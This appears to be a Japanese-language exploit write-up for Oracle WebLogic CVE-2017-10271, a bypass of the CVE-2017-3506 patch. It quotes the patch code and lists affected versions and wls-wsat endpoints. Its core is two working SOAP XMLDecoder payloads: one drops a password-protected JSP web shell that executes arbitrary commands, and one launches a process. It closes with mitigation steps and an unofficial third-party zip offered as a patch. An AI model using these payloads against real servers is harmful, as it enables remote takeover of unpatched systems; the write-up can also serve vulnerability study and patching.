lonehand/oracle-weblogic-cve-2017-10271-masterOracle WebLogic CVE-2017-10271 (wls-wsat RCE bypass) のエクスプロイト。脆弱なサーバー上でリモートコマンド実行とコマンドシェルを取得するための PoC スクリプトを含む。
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
初期、ハッカーはWebLogic WLSコンポーネントの脆弱性を利用して企業サーバーに大規模なリモート攻撃を仕掛け、多くの企業のサーバーが侵害されました。攻撃を受ける企業数は明らかに増加傾向にあり、高い注意が必要です。CVE-2017-3506は、Oracle WebLogicのWLSコンポーネントにおけるリモートコード実行の脆弱性であり、公開されていない詳細を持つ野外利用の脆弱性です。多くの企業はまだ適時にパッチを適用していません。公式は2017年4月にこの脆弱性のパッチをリリースしました。
CVE-2017-3506パッチの説明:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
逆シリアル化の前にvalidate関数を追加しただけで、qNameがobjectと等しい場合に例外をスローして終了します。これは単純かつ暴力的ですが、このようなブラックリスト方式の修正は完全な修正が難しいことは注目に値します…
この脆弱性の利用方法は比較的簡単で、攻撃者は巧妙に作成したHTTPリクエストを送信するだけで、ターゲットサーバーの権限を取得でき、被害は甚大です。脆弱性が比較的新しいため、現在でも多くのホストがまだパッチを適用していません。この突発的な出来事の後、攻撃件数が急増し、多くの新しいホストが侵害される可能性が高いと予想されます。
Oracle公式の4月のパッチではCVE-2017-3506の脆弱性が完全には修正されておらず、パッチを回避してリモートコマンドを実行することが可能です。CVE-2017-10271は現在回避可能な脆弱性ですが、公式が10月にリリースしたパッチで修正されています。
CVE-2017-10271（wls-wsat リモートコマンド実行回避脆弱性）
Oracle WebLogic Server 10.3.6.0.0 バージョン
Oracle WebLogic Server 12.1.3.0.0 バージョン
Oracle WebLogic Server 12.2.1.1.0 バージョン
Oracle WebLogic Server 12.2.1.2.0 バージョン
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
exploit
CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami
exploit
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
exploit
exploit
exploit
Oracle 10月のパッチにアップグレードします。
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
wls-wsat リソースへのアクセス制御を実施します。
一時的な解決策
業務に影響がない範囲で、実際の環境パスに基づいて、WebLogicプログラムの以下のwarパッケージとディレクトリを削除します。
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
WebLogicサービスまたはシステムを再起動した後、以下のリンクへのアクセスが404になることを確認します：
http://ip:port/wls-wsat/CoordinatorPortType11